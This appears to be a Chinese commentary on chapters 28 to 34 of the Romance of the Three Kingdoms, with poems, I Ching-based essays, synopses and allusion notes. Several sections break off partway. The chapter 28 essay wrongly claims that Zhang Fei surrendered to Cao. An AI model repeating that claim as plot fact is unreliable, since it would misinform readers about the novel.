    《三国演义》第二十八回“斩蔡阳兄弟释疑，会古城主臣聚义”这一情节，充满了戏剧性与情感张力，其背后蕴含着深刻的哲理。而以周易哲学的角度来深度剖析这一情节，更能揭示出其中的玄妙之处。


    在周易哲学中，阴阳相互依存、相互转化，是宇宙万物的根本规律。刘关张三人的关系，恰如阴阳的互动与平衡。他们之间既有兄弟之情的阳刚之爱，又有相互理解、包容的阴柔之德。这种阴阳和谐的关系，使得他们在面对困难与挑战时，能够始终保持团结一心。


    关羽在曹操阵营时，虽备受优待，但他心中始终不忘与刘备的兄弟之情，这体现了他内心坚定的信念，即阳刚之性的坚守。而张飞因误会关羽而降曹，表现出了他急躁、冲动的一面，这是阴柔之性的体现。然而，当他们在古城相聚，误会消除后，兄弟之间的情感更加深厚，阴阳再次达到平衡。


    “斩蔡阳”这一事件，也具有深刻的象征意义。蔡阳代表着外界的干扰与误解，关羽斩蔡阳，意味着他以坚定的信念和果敢的行动，破除了外界对他们兄弟关系的干扰，维护了兄弟之间的信任。这一过程，体现了阳刚之力战胜阴柔之惑的过程。


    在这一情节中，还体现了周易哲学中“变易”的思想。刘关张三人的命运因战乱而发生了巨大的变化，但他们始终保持着对彼此的忠诚与信任。他们在不断变化的环境中，适应着、调整着，始终坚守着自己的信念和目标。这种变易的思想，让他们能够在困境中找到出路，在挫折中不断成长。


    同时，“会古城主臣聚义”这一情节也展现了周易哲学中“时”与“位”的重要性。在特定的时间和地点，刘关张三人再次相聚，重新确立了彼此的关系和地位。他们顺应时势，抓住机遇，实现了兄弟之间的重聚和事业的新发展。


    从兄弟三人的个性特点来看，刘备的仁德宽厚、关羽的忠义神武、张飞的勇猛鲁莽，也都蕴含着周易哲学的元素。刘备的仁德如同大地，承载万物；关羽的忠义如同烈火，燃烧激情；张飞的勇猛如同狂风，一往无前。他们三人各具特点，相互补充，共同构成了一个强大的


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    团队。


    此外，这一情节中还反映出周易哲学中关于“和”的理念。兄弟之间的和解、君臣之间的团聚，都是为了实现和谐的局面。只有在和谐的环境中，他们才能更好地发挥各自的才能，实现共同的目标。


    周易哲学强调宇宙的整体性和统一性，而刘关张三人的故事也体现了这种整体性。他们的命运与时代背景紧密相连，彼此之间相互影响、相互作用。他们在历史的舞台上，共同演绎了一段感人至深的兄弟情义与英雄传奇。


    在现实生活中，我们也可以从这一情节中汲取智慧和力量。无论面对怎样的困难与挑战，我们都要像刘关张三人一样，保持坚定的信念，坚守自己的原则，以阳刚之性应对阴柔之惑，在不断变化的环境中找到平衡与和谐。同时，我们也要珍惜身边的人，维护好彼此之间的关系，共同创造美好的未来。


    “斩蔡阳兄弟释疑，会古城主臣聚义”这一情节，不仅是《三国演义》中的经典篇章，更是周易哲学在文学作品中的生动体现。它让我们在欣赏精彩故事的同时，也能领略到周易哲学的博大精深，为我们的人生提供宝贵的启示。


    二、《三国演义》第二十八回名为“斩蔡阳兄弟释疑，会古城主臣聚义”。其主要思想和经典诗句典故如下：


    主要思想：


    忠诚与义气：这是此回的核心思想之一。关羽在曹操阵营时，面对曹操的厚待仍一心向刘备，“挂印封金”“千里走单骑”“过五关斩六将”，历经重重艰难险阻去寻找刘备，体现出了对刘备的忠诚以及对兄弟情义的坚守。这种忠诚和义气在古代被视为高尚的品德，也是《三国演义》所极力宣扬的价值观。


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 第29章 小霸王怒斩于吉，碧眼儿坐领江东

    七律诗《周易哲学视角下的江东风云——小霸王怒斩于吉与碧眼儿坐领江东》：


    《江东风云》


    江东霸烈起风云，小霸怒斩于吉魂。


    阳亢易倾因躁进，阴柔渐盛智谋存。


    因果循环终有报，变易世事总牵根。


    碧眼儿承江东业，周易哲思蕴厚坤。


    诠释：


    诗的首联描述了江东地区风云变幻的局势，小霸王孙策怒斩于吉这一激烈的事件。


    颔联指出孙策性格中过于阳刚急躁的一面，容易导致失衡，而孙权的智谋则体现了阴柔的力量。


    颈联强调了因果循环的道理，世间的变化都有其根源。


    尾联表明孙权继承江东大业，其中蕴含着周易哲学的深厚底蕴。


    整首诗通过对“小霸王怒斩于吉与碧眼儿坐领江东”这一情节的描述，深入探讨了周易哲学在其中的体现，展现了江东风云的变幻与哲理的交融。


    一、《周易哲学视角下的江东风云——小霸王怒斩于吉与碧眼儿坐领江东》


    在《三国演义》第二十九回“小霸王怒斩于吉，碧眼儿坐领江东”中，一场惊心动魄的权力交替与命运转折正在上演。这一回故事不仅展现了历史的波澜壮阔，更蕴含着深刻的哲学思考，尤其是与周易哲学的诸多理念相契合。


    孙策，这位英勇无畏的小霸王，以其勇猛和果敢在江东崭露头角。然而，他的性格中也存在着急躁和冲动的一面。从周易哲学的角度来看，这或许可以视为一种“阳刚过度”的表现。在卦象中，阳刚之象代表着积极进取和力量，但过度的阳刚也可能导致行事鲁莽，缺乏深思熟虑。


    孙策怒斩于吉，这一情节充满了戏剧性和冲突。于吉被百姓视为“神仙”，他的存在代表着一种神秘的力量和信仰。而孙策的斩杀行为，不仅是对一个人的处决，更是对一种信仰和观念的挑战。这种挑战与周易哲学中的“变易”观念相呼应。变易意味着事物的不断变化和发展，孙策的这一决定打破了原有的平衡，引发了一系列连锁反应。


    与此同时，于吉的命运也反映了周易哲学中的“因果报应”思想。他因自己的特殊身份和行为引起了孙策的不满，最终导致了自己的悲剧结局。这就如同卦象中的因与果，每一个行动都会带来相应的后果，无法逃避。


    而孙策的命运同样受到了因果的制约。他的暴躁和冲动，使得他在处理事情时缺乏足够的智慧和冷静。这种性格缺陷最终导致了他的死亡，成为他命运的转折点。这也提醒我们，在生活中要时刻警惕自己的行为和态度，避免因一时冲动而带来不可挽回的后果。


    随着孙策的离世，孙权，即碧眼儿，登上了江东的历史舞台。孙权与孙策性格迥异，他更加沉稳和睿智。这一转变可以用周易哲学中的“阴阳平衡”来解释。在一个系统中，阴阳相互依存、相互制约，只有保持平衡，才能实现稳定和发展。孙权的出现，弥补了孙策性格中的不足，为江东的未来带来了新的希望。


    孙权坐领江东的过程，也是一个不断适应和调整的过程。他需要面对内忧外患，整合各方资源，实现江东的稳定和发展。这与周易哲学中的“时位”观念相符。在不同的时间和位置，需要采取不同的策略和行动，以适应环境的变化。


    此外，这一回中还涉及到权力的交接和传承。孙策将江东的未来托付给了孙权，这体现了周易哲学中“传承与发展”的重要


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    性。一个良好的传承机制可以确保事业的延续和发展，避免因权力交替而带来的动荡和混乱。


    总的来说，用周易哲学来深度解析“小霸王怒斩于吉，碧眼儿坐领江东”这一情节，为我们提供了一个全新的视角。它让我们看到了历史事件背后的哲学内涵，以及命运、因果、阴阳平衡等观念在其中的体现。这不仅丰富了我们对《三国演义》的理解，也让我们对人生和世界有了更深刻的思考。


    在生活中，我们也可以从周易哲学中汲取智慧，学会在变化中保持平衡，在因果中审视自己的行为，在传承中发展进步。每一个历史故事都是一面镜子，映照出人性的光辉与黑暗，也让我们在反思中不断成长和前行。


    二、《三国演义》第二十九回名为“小霸王怒斩于吉，碧眼儿坐领江东”。其主要思想和相关内容如下：


    1. 主要思想：


    命运无常与因果报应：孙策本是江东的霸主，英勇无敌，但因性格暴躁、行事果断狠辣，先是怒斩许贡，给自己招来杀身之祸，后又不顾众人劝阻斩杀被百姓尊为“神仙”的于吉，最终自己也被于吉的“鬼魂”所扰，病情加重而死。这一系列事件反映出命运的无常以及因果报应的思想，警示人们做事要考虑后果，不能过于冲动和自负。


    人才与领导：此回中还体现了人才对于国家或势力的重要性。孙策临终前嘱咐孙权要善于任用贤才，保护江东不受外敌侵犯，暗示了一个领导者能否识才、用才，是其能否成就大业的关键。同时，周瑜推荐鲁肃，张纮推荐诸葛瑾等情节，也突出了人才在乱世中的价值以及举荐人才的重要性。


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 第30章 战官渡本初败绩，劫乌巢孟德烧粮

    七律诗《从周易哲学视角看官渡之战的胜败》：


    《从周易哲学视角看官渡之战的胜败》


    官渡硝烟战势悬，阴阳变化理其间。


    本初刚愎失机变，孟德智谋破险关。


    否泰循环见成败，动静相应蕴坤乾。


    用人明断乾坤定，周易哲思照史篇。


    诠释：


    “官渡硝烟战势悬，阴阳变化理其间”：描绘了官渡之战激烈的战争场面，同时指出其中蕴含着周易哲学中阴阳变化的道理。


    “本初刚愎失机变，孟德智谋破险关”：袁绍（本初）刚愎自用，未能顺应时势变化而失去战机；曹操（孟德）运用智谋成功突破难关。


    “否泰循环见成败，动静相应蕴坤乾”：体现了周易哲学中“否泰循环”的观点，胜败是相互转化的；也表达了动静之间蕴含着天地之道。


    “用人明断乾坤定，周易哲思照史篇”：强调了用人的重要性，明智的用人决策能决定乾坤；同时表明周易哲学的智慧在官渡之战这一历史篇章中得到了映照。


    整首诗从周易哲学的角度，深入分析了官渡之战的胜败原因和其中蕴含的哲理。


    一、《从周易哲学视角看官渡之战的胜败》


    在《三国演义》中，官渡之战无疑是一场具有重大历史意义的战役。袁绍与曹操两大势力在此展开了激烈的角逐，最终曹操以智谋和果断取得了胜利，而袁绍则遭遇了惨痛的败绩。运用周易哲学的观点来深度解析这一历史事件，可以揭示出其中蕴含的深刻道理和智慧。


    在周易哲学中，阴阳相互转化、变化无常是核心观念之一。袁绍在官渡之战中的失败，正体现了这种变化的无常性。袁绍原本拥有强大的势力和众多的资源，看似占据优势，但他却未能顺应时势的变化，过于自信和固执。他在决策过程中，未能充分考虑到各种因素的动态变化，没有及时调整战略，导致了最终的失败。


    而曹操则展现了灵活应变的能力。他在面对袁绍的强大压力时，不被表象所迷惑，能够洞察局势的变化，及时调整策略。他善于抓住机会，如采纳许攸的建议奇袭乌巢，从而实现了战局的逆转。这体现了周易哲学中“变则通，通则久”的思想，只有不断适应变化，才能在复杂的局势中找到胜利的途径。


    从卦象的角度来看，官渡之战也蕴含着深刻的启示。袁绍的失败可以视为一种“否卦”的体现。“否卦”象征着闭塞不通、上下不交的状态。袁绍在战争中与部将之间缺乏有效的沟通和协作，内部矛盾重重，决策过程僵化，这使得他的势力逐渐陷入困境。而曹操的胜利则类似于“泰卦”的呈现。“泰卦”表示通泰、顺畅，曹操能够团结内部力量，与谋士和将领们密切合作，形成了强大的合力，从而打破了袁绍的封锁，实现了胜利的转折。


    在这场战役中，双方的用人之道也体现了周易哲学的智慧。袁绍虽然拥有众多人才，但他不能充分发挥他们的才能，甚至对一些忠诚的谋士如田丰、沮授等不予重视，导致人才流失。而曹操则善于识人用人，能够听取不同的意见，充分发挥每个人的优势。这体现了周易哲学中“用人唯贤”的重要性，只有善于发现和利用人才，才能在竞争中占据优势。


    此外，官渡之战中的攻守之势也与周易


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    哲学中的动静之理相契合。袁绍在初期采取了强攻的策略，但这种一味的进攻未能取得预期效果。而曹操则在防守中寻找机会，以静制动，等待时机进行反击。这种动静结合的策略体现了周易哲学中“动静有常”的原则，只有在合适的时候采取合适的行动，才能取得最佳的效果。


    同时，乌巢的被劫也可以看作是一种“剥卦”的体现。“剥卦”象征着剥落、衰败。袁绍对乌巢的防守疏忽，使得曹操有机可乘，最终导致了他的势力根基被严重破坏。而曹操的成功烧粮则像是一种“复卦”的预示。“复卦”表示复兴、再生，曹操通过这次奇袭，为自己的胜利奠定了坚实的基础，实现了势力的重新崛起。


    总的来说，官渡之战是一场充满变数和智慧的战役。通过周易哲学的深度解析，我们可以更深刻地理解其中的胜败原因和规律。袁绍的失败提醒我们要保持谦虚和警惕，顺应时势的变化，善于倾听不同的声音；而曹操的胜利则告诉我们要具备灵活应变的能力，善于用人，把握时机。这场战役的历史经验，对于我们在现实生活中面对各种挑战和竞争，仍然具有重要的借鉴意义。


    无论时代如何变迁，周易哲学所蕴含的智慧都将永远熠熠生辉。在历史的长河中，我们可以从这些经典的战役中汲取力量和启示，不断提升自己的智慧和能力，以更好地应对生活中的各种挑战。


    二、《三国演义》第三十回名为“战官渡本初败绩，劫乌巢孟德烧粮”。以下是其梗概、主要思想以及相关的诗句典故：


    1. 梗概：


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 第31章 曹操仓亭破本初 玄德荆州依刘表

    一、七律诗《周易哲学视角下的曹操与袁绍之争及刘备的荆州依附》：


    （一）《史鉴》


    乾坤易转势无常，曹袁相争见短长。


    十面埋伏谋算妙，一时胜负智谋彰。


    玄德寄寓依刘表，命运沉浮叹感伤。


    周易哲思明世事，风云变幻演沧桑。


    （二）诠释：


    诗的首联“乾坤易转势无常，曹袁相争见短长”，指出世间局势变化无常，曹操与袁绍之间的争斗展现出了各自的优劣。


    “十面埋伏谋算妙，一时胜负智谋彰”描述了曹操在仓亭之战中运用“十面埋伏”之计的巧妙和智谋，也体现了战争中智谋的重要性。


    “玄德寄寓依刘表，命运沉浮叹感伤”则讲述了刘备在荆州依附刘表的无奈，以及他在命运起伏中的感慨。


    尾联“周易哲思明世事，风云变幻演沧桑”强调了以周易哲学的角度能够洞察世事，明白历史的风云变幻和沧桑变迁。


    整首诗以周易哲学为背景，深入剖析了曹操与袁绍之争以及刘备的荆州依附，展现了历史的波澜壮阔和其中蕴含的智慧与感慨。


    （三）《三国演义》第三十一回名为“曹操仓亭破本初 玄德荆州依刘表”。以下是其梗概、主要人物、经典诗句及典故：


    1. 梗概：


    曹操破袁绍：曹操乘袁绍官渡之败，整顿军马追袭。袁绍引八百余骑奔至黎阳北岸，大将蒋义渠出寨迎接，袁绍军势复振，议还冀州。途中夜宿荒山，袁绍听到败军相聚哭诉，后悔未听田丰之言。逢纪趁机进谗言，说田丰在狱中听闻袁绍兵败抚掌大笑，袁绍大怒，命使者赍宝剑去狱中杀田丰。而田丰在狱中已料到自己必死，最终自刎。之后曹操听从程昱“十面埋伏”之计，诱袁绍至河上，背水死战大败袁军于仓亭。


    刘备依刘表：曹操在仓亭大胜后，得知刘备在汝南得刘辟、龚都数万之众，且乘虚来攻许昌，便提大兵往汝南迎刘备。穰山一仗，刘备起初得胜，但随后曹操转败为胜。刘备腹背受敌，无奈之下逃至汉江。在孙乾的建议下，刘备决定前往荆州依附刘表，刘表迎刘备入荆州。


    2. 主要人物：


    曹操：本回中他展现出了卓越的军事才能和果断的决策能力，乘胜追击袁绍，采用“十面埋伏”之计大败袁军，巩固了自己的势力。


    袁绍：刚愎自用、外宽内忌。官渡之战大败后，本有机会重振旗鼓，但因不听田丰之言，又轻信逢纪的谗言杀害田丰，导致人心离散，最终再次兵败仓亭。


    刘备：在本回中处于较为艰难的处境，虽在穰山之战初期取得胜利，但很快被曹操击败，被迫前往荆州依附刘表，继续寻求立足之地。


    田丰：袁绍的谋士，足智多谋，曾劝袁绍勿与曹操交战，但袁绍不听。他深知袁绍的性格，在袁绍兵败后准确地预料到自己的结局，最终含冤而死。


    3. 经典诗句：


    “昨朝沮授军中失，今日田丰狱内亡。河北栋梁皆折断，本初焉不丧家邦！”此诗表达了对田丰之死的惋惜，以及对袁绍因自断臂膀而将走向败亡的感慨。沮授和田丰都是袁绍的重要谋士，沮授此前已被曹操所擒，田丰又被袁绍杀害，河北的栋梁之才尽失，袁绍的势力也将逐渐衰落。


    4. 典故：


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    十面埋伏：本回中程昱向曹操献“十面埋伏”之计，这是一种军事策略，指在战争中布置多层兵力，从各个方向对敌人进行包围和攻击，使敌人陷入绝境。曹操依此计成功击败袁绍，此计也成为了中国古代军事史上的经典战例。


    刘备依附刘表：这一情节反映了当时诸侯纷争的局面下，弱小势力为求生存不得不依附于强大势力的现象。刘备作为汉室宗亲，在势力弱小的时候选择依附刘表，也是为了寻找立足之地和发展机会，这为后来刘备在荆州的发展以及三国鼎立局面的形成奠定了一定的基础。


    二、《周易哲学视角下的曹操与袁绍之争及刘备的荆州依附》


    《三国演义》第三十一回“曹操仓亭破本初 玄德荆州依刘表”，描绘了一场波澜壮阔的历史画卷，其中蕴含着深刻的哲学思考。以周易哲学的角度来深度解析这一情节，能让我们更深入地理解其中的权谋纷争与人物命运的转折。


    在周易哲学中，阴阳相互转化、动态平衡是核心观念之一。曹操与袁绍之间的争斗，正体现了这种阴阳力量的较量与转化。曹操，智谋过人，善于洞察形势，犹如阳刚之力，积极进取；而袁绍，势力庞大却优柔寡断，如同阴柔之态，逐渐走向衰落。


    官渡之战后，袁绍元气大伤，但他仍未认识到自己的问题所在。在周易中，这就如同阴盛而不能及时转化为阳，导致衰败的趋势无法逆转。而曹操则乘胜追击，在仓亭之战中再次大败袁绍。这一胜利并非偶然，而是曹操善于把握时机，运用智谋，将阴阳之力巧妙地运用到战争之中。


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 第32章 夺冀州袁尚争锋，决漳河许攸献计

    一、七律诗《周易视角下的袁氏纷争：夺冀州与决漳河的谋略与命运》：


    （一）《袁氏纷争》


    周易洞察世间机，袁氏相争乱战旗。


    夺冀雄心谋略显，决河妙计运思奇。


    风云变幻皆成幻，命运沉浮未有期。


    史册留名传后世，兴衰荣辱不堪提。


    （二）诠释：


    诗的首联“周易洞察世间机，袁氏相争乱战旗”，点明了从周易的角度来审视袁氏纷争这一主题，展现出纷争的混乱局面。


    颔联“夺冀雄心谋略显，决河妙计运思奇”，具体描述了袁氏在争夺冀州时所展现出的雄心和谋略，以及决漳河的奇妙计策。


    颈联“风云变幻皆成幻，命运沉浮未有期”，表达了局势的风云变幻如同虚幻一般，袁氏的命运也难以预料，充满了不确定性。


    尾联“史册留名传后世，兴衰荣辱不堪提”，指出这场纷争在历史上留下了印记，但其中的兴衰荣辱已成为过去，不堪再提。


    整首诗以周易为视角，深入描绘了袁氏纷争的谋略与命运，展现了历史的沧桑与变幻。


    （三）《三国演义》第32回名为“夺冀州袁尚争锋，决漳河许攸献计”。以下是其梗概、主要人物、经典诗句和典故：


    1. 梗概：


    袁尚袁谭起纷争：袁绍死后，袁尚自恃勇猛，在袁谭的兵马还未到达时，就独自引兵数万出黎阳，与曹军前队交锋。张辽出战，袁尚与张辽交战不到三个回合就抵挡不住，大败而逃。袁绍听闻袁尚战败，又受了一惊，旧病复发，吐血数斗后昏倒。刘夫人请审配、逢纪到袁绍榻前商议后事，袁绍以手指表示让袁尚继承，随后袁绍大叫一声，又吐血斗余而死。


    袁谭袁尚矛盾升级：审配等人立袁尚为大司马将军，领冀、青、幽、并四州牧，并向袁谭报丧。袁谭得知父亲已死，与郭图、辛评商议。袁尚让袁谭为车骑将军，并让他作为前部去对抗曹军，自己随后调兵接应，但只给袁谭拨兵五千，且这些兵还被曹军在半路坑杀。袁谭大怒，责骂逢纪，欲斩之。郭图建议先留逢纪，等破曹之后再争冀州。


    兄弟相斗曹军得利：袁谭、袁尚、袁熙、高干与曹军交战，屡战屡败。曹操分路攻打，四人皆大败，弃黎阳而走。郭嘉建议曹操举兵南向荆州，以候袁氏兄弟之变。曹操依言，命贾诩守黎阳，曹洪守官渡，自己引大军向荆州进兵。袁谭、袁尚听说曹军自退，便相互庆贺。之后袁谭又心生不甘，欲杀袁尚，袁尚得知后引兵攻打袁谭，袁谭大败，退入平原坚守。袁尚三面围城攻打，袁谭与郭图商议向曹操投降，让曹操攻冀州，袁谭再引兵夹击袁尚。


    2. 主要人物：


    袁尚：袁绍的小儿子，在袁绍死后继承了其职位。他自恃勇力，但缺乏谋略，在与袁谭的争斗中以及对抗曹军的过程中，决策多有失误。


    袁谭：袁绍的长子，对袁尚继承父亲的职位心有不甘，与袁尚之间矛盾不断，为了争夺冀州，不惜与曹操联合。


    审配：袁绍的重要谋士，在袁绍死后辅佐袁尚，对袁尚忠心耿耿，积极为袁尚出谋划策。


    逢纪：袁绍的谋士，在袁尚与袁谭的争斗中被夹在中间，后来被袁谭所杀。


    曹操：本回中曹操作为重要的一方势力，利用袁氏兄弟的纷争，坐收渔翁之


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    利，进一步扩大了自己的势力范围。


    郭图：袁谭的谋士，为袁谭出谋划策，但他的计策也并非都是良策，在一定程度上加剧了袁氏兄弟的矛盾。


    辛毗：辛评之弟，平原令，后来作为袁谭的使者去见曹操，向曹操分析了袁氏的形势，促使曹操决定回军攻打冀州。


    3. 经典诗句：本回中有诗描述袁绍：


    “累世公卿立大名，少年意气自纵横。空招俊杰三千客，漫有英雄百万兵。羊质虎皮功不就，凤毛鸡胆事难成。更怜一种伤心处，家难徒延两弟兄。”此诗对袁绍的一生进行了概括和评价，指出他出身名门望族，年轻时意气风发，广招人才，拥有众多兵马，但最终却未能成就大业，如同羊质虎皮，外表强大，实则软弱，遇到事情胆小如鸡，难以成功。最后感慨他死后，两个儿子却陷入内斗，令人伤心。


    4. 典故：


    引狼入室：袁尚在被袁谭攻打，支撑不住时向曹操求救，这一行为无异于引狼入室，让曹操有机可乘，得以进一步侵占冀州等地。曹操本就是袁氏的敌人，袁尚向曹操求救，虽然暂时缓解了自己与袁谭的矛盾，但却给了曹操进攻冀州的机会，使得袁氏的势力进一步被削弱。


    拈阄定计：袁谭向袁尚索要审配、逢纪二人作为辅助，袁尚不愿两人都离开自己，于是让二人拈阄，拈着者便去辅助袁谭。这一情节体现了袁尚在处理与袁谭的关系时的无奈和犹豫，也显示出袁氏兄弟之间的矛盾已经到了需要用这种方式来解决的地步。


    二、《周易视角下的袁氏纷争：夺冀州与决漳河的谋略与命运》


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 第33章 曹丕乘乱纳甄氏，郭嘉遗计定辽东

    一、七律诗《乱世风云中的权谋与命运——从〈三国演义〉第 33 回看曹丕与郭嘉的抉择》：


    （一）《乱世抉择》


    乱世风云变幻中，权谋命运总相逢。


    曹丕纳甄心欲念，郭嘉遗计智谋宏。


    乾坤浩荡英雄气，史册留名岁月匆。


    回首三国多少事，是非成败转头空。


    （二）诠释：


    诗的首联“乱世风云变幻中，权谋命运总相逢”，点明了三国时期动荡的背景，权谋与命运交织在一起。


    颔联“曹丕纳甄心欲念，郭嘉遗计智谋宏”，具体描述了曹丕乘乱纳甄氏的行为和郭嘉留下平定辽东的遗计，展现出他们各自的抉择和智慧。


    颈联“乾坤浩荡英雄气，史册留名岁月匆”，强调了在这乱世中英雄们的气概，他们的事迹被记载在史册上，但时间却匆匆流逝。


    尾联“回首三国多少事，是非成败转头空”，表达了对三国历史的感慨，无论曾经的是非成败，最终都如过眼云烟，一切皆空。


    整首诗通过对《三国演义》第 33 回的解读，展现了那个时代的风云变幻、人物的权谋与命运，以及历史的沧桑与无常。


    （三）《三国演义》第 33 回名为“曹丕乘乱纳甄氏，郭嘉遗计定辽东”。以下是其梗概、主要人物、经典诗句和典故：


    1. 梗概：


    曹丕纳甄氏：曹操攻破冀州城后，他的儿子曹丕率先进入袁绍府中，看到有两个女子在抱头痛哭。曹丕拉过其中一位女子，见其容貌绝美，得知她是袁熙的妻子甄氏。曹操知道后，便为曹丕主婚，让他纳了甄氏。


    郭嘉遗计定辽东：曹操在平原攻杀袁谭后，又遣吕旷等人在壶关大破袁绍外甥高干。袁熙、袁尚兄弟二人兵败后投奔乌桓。郭嘉劝说曹操攻打乌桓，曹操力排众议远征乌桓，虽艰难取胜，但在行军途中郭嘉染病而逝。郭嘉临终前留下遗计，让曹操不要急于攻打辽东，因为辽东太守公孙康惧怕曹操势力，定会斩杀袁熙、袁尚。果然，袁熙、袁尚投奔辽东后，公孙康设计将二人斩杀，并将首级献给曹操。


    2. 主要人物：


    曹丕：曹操之子，性格果敢，乘乱纳甄氏展现出他的果断和对美色的追求。这一行为也为他后来在曹魏政权的崛起奠定了一定基础。


    曹操：乱世枭雄，具有雄才大略。本回中他展现出了强大的军事指挥能力和政治谋略，攻破冀州、平定北方，进一步扩大了自己的势力范围。同时，他能听从郭嘉的建议攻打乌桓，又在郭嘉死后听从其遗计，可见他对人才的重视和善于纳谏。


    郭嘉：曹操麾下极为重要的谋士，智慧超群，腹内藏经史，胸中隐甲兵。他为曹操出谋划策，帮助曹操在北方的征战中取得了多次胜利。可惜英年早逝，但其遗计仍为曹操平定辽东起到了关键作用。


    公孙康：辽东太守，审时度势，深知曹操势力强大，不敢为了失势的袁熙、袁尚兄弟与曹操对抗，于是斩杀二袁向曹操示好，以保自己在辽东的地位。


    3. 经典诗句：


    “天生郭奉孝，豪杰冠群英：腹内藏经史，胸中隐甲兵；运谋如范蠡，决策似陈平。可惜身先丧，中原梁栋倾。”这首诗高度赞扬了郭嘉的才能和智慧，将他与古代的范蠡、陈平相提并论，表达了对郭嘉英年早逝的惋惜之情，也体现出曹操阵营失去郭嘉这样的栋梁之材后的损失。


    4. 典故：


    甄氏被纳：甄氏原本是袁熙的妻子，在袁家兵败后被曹丕所纳。这


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    一事件成为了后世文学和艺术创作中的一个典故，如曹植的《洛神赋》就被一些人认为是曹植对甄氏的怀念之作，给这个故事增添了更多的传奇色彩。


    郭嘉遗计：郭嘉的遗计定辽东成为了历史上着名的谋略典故。它展示了郭嘉的深谋远虑和对人心的准确把握，也体现了曹操对郭嘉的信任以及曹操阵营中人才辈出的局面。这一典故常被用来形容谋士在临终前仍能为君主出谋划策，帮助君主取得胜利。


    二、《乱世风云中的权谋与命运——从〈三国演义〉第 33 回看曹丕与郭嘉的抉择》


    在《三国演义》的波澜壮阔中，第 33 回“曹丕乘乱纳甄氏，郭嘉遗计定辽东”犹如一幅绚丽而复杂的画卷，展现出了人性的纠葛、权谋的较量以及命运的无常。这一回故事，不仅是历史的写照，更是可以用周易哲学来深度解析的精彩篇章。


    在周易哲学中，阴阳相互依存、相互转化，世间万物皆在变化之中。曹丕乘乱纳甄氏这一情节，正是这种变化与无常的体现。曹丕作为曹操的儿子，身处乱世之中，权力的欲望在他心中逐渐升腾。当他看到甄氏的美貌时，内心的欲望被瞬间点燃，不顾伦理道德，毅然将其纳为己有。这一行为，既是他个人欲望的表达，也是他在权力争夺中的一步棋。


    而甄氏，作为这一事件中的女性角色，她的命运也如同阴阳的变幻一般。她原本是袁熙的妻子，在袁家败亡后，成为了曹丕的战利品。她的美貌成为了她命运的双刃剑，既给她带来了一时的荣耀，也让她陷入了无尽的痛苦之中。在这一过程中，我们可以看到命运的无奈与悲哀，也可以


    感受到人性在欲望面前的脆弱与挣扎。


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 第34章 蔡夫人隔屏听密语 刘皇叔跃马过檀溪

    一、七律诗《命运的交织与权谋的棋局——从周易哲学看〈蔡夫人隔屏听密语 刘皇叔跃马过檀溪〉》：


    （一）《蔡刘檀溪之变》


    周易微妙蕴天机，蔡氏阴谋隔幕窥。


    皇叔仁德遭险厄，权谋棋局势难移。


    跃马檀溪惊天地，命运交织叹路歧。


    世事无常皆有定，风云变幻几人知。


    （二）诠释：


    诗的首联“周易微妙蕴天机，蔡氏阴谋隔幕窥”，指出周易哲学中蕴含着深奥的天机，而蔡夫人的阴谋则在屏风后被暗中窥视，体现了命运的神秘和权谋的暗中运作。


    颔联“皇叔仁德遭险厄，权谋棋局势难移”，描述了刘备的仁德却使他遭遇险境，权谋的棋局难以改变，展现了命运的无奈与权谋的残酷。


    颈联“跃马檀溪惊天地，命运交织叹路歧”，描绘了刘备跃马过檀溪的惊险场面，同时也感叹命运的交织和人生道路的迷茫。


    尾联“世事无常皆有定，风云变幻几人知”，强调了世事无常但又似乎有一定的规律，而这其中的变幻莫测又有几人能真正理解，进一步深化了对命运和世事的思考。


    整首诗通过对“蔡夫人隔屏听密语 刘皇叔跃马过檀溪”这一情节的周易哲学解读，展现了命运与权谋相互交织的复杂局面，以及对人生的感慨和思索。


    （三）《三国演义》第三十四回名为“蔡夫人隔屏听密语 刘皇叔跃马过檀溪”。以下是其梗概、主要人物、经典诗句及典故：


    1. 梗概：


    曹操建铜雀台：曹操在漳河之畔挖出铜雀，荀攸说这是吉祥之兆，曹操大喜，于是大兴土木建造铜雀台，台成后宏伟壮丽。


    刘备平叛得马：荆州的降将张武、陈孙在江夏掳掠人民，共谋造反。刘备主动向刘表请缨去平叛，带着关羽、张飞、赵云等猛将出征。战场上赵云仅数合便刺死张武，夺得神骏的的卢马，张飞挺矛刺死陈孙。刘备凯旋而归，将的卢马赠予刘表。


    刘表还马与刘备：刘表听信蒯越之言，认为此马妨主，又将马归还刘备。刘备随后被派往新野屯驻，把当地治理得井井有条。


    蔡夫人陷害刘备：刘备与刘表在后堂饮酒，刘表为立嗣之事忧心忡忡，刘备直言不可废长立幼，应慢慢削弱蔡氏权力。这番话被蔡夫人隔墙偷听，蔡夫人因此对刘备怀恨在心，与蔡瑁密谋加害。蔡瑁设计宴请刘备，欲于席间动手，幸得伊籍暗中通风报信，刘备借口更衣匆匆逃离。


    刘备跃马过檀溪：蔡瑁发觉后派兵追赶，刘备慌不择路来到檀溪边，前有溪水阻隔，后有追兵将至。绝望之际，刘备拍马大呼，的卢马竟如有神助，一跃三丈驮着刘备飞过檀溪，使刘备逃出生天。


    2. 主要人物：


    刘备：字玄德，蜀汉政权的开创者。本回中他展现出了仁厚、智谋以及临危不惧的一面。在荆州时，他积极为刘表平叛，却因直言立嗣之事遭蔡夫人忌恨，陷入险境，但最终凭借的卢马神奇地逃脱。


    刘表：字景升，荆州牧。性格优柔寡断，虽收留刘备，但在蔡夫人的影响下，对刘备又有所防备。在立嗣问题上犹豫不决，既想立长子刘琦，又担心蔡氏家族势力过大。


    蔡夫人：刘表的后妻，为人阴险狡诈。她一直想让自己的儿子刘琮继承刘表的位置，所以对刘备十分忌惮，听到刘备建议削弱蔡氏权力后便起了杀心。


    蔡瑁：蔡夫人的弟弟，在荆州军中担任重要职位。听从蔡夫人的命令，想要谋害刘备。


    伊籍


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    ：荆州幕宾，字机伯，山阳人。他与刘备交好，得知蔡瑁的阴谋后，深夜向刘备报信，帮助刘备逃脱。


    赵云：字子龙，刘备手下的猛将。在平叛江夏的战斗中，英勇无比，仅数合便刺死张武，为刘备立下战功。


    3. 经典诗句：


    “曹公屈指从头数：天下英雄独使君。髀肉复生犹感叹，争教寰字不三分？”此诗是后人称赞刘备的，意思是曹操认为天下英雄只有他自己和刘备，刘备因长期安逸，大腿上的肉又长了出来，不禁感叹时光流逝，但这也预示着天下终将三分。


    4. 典故：


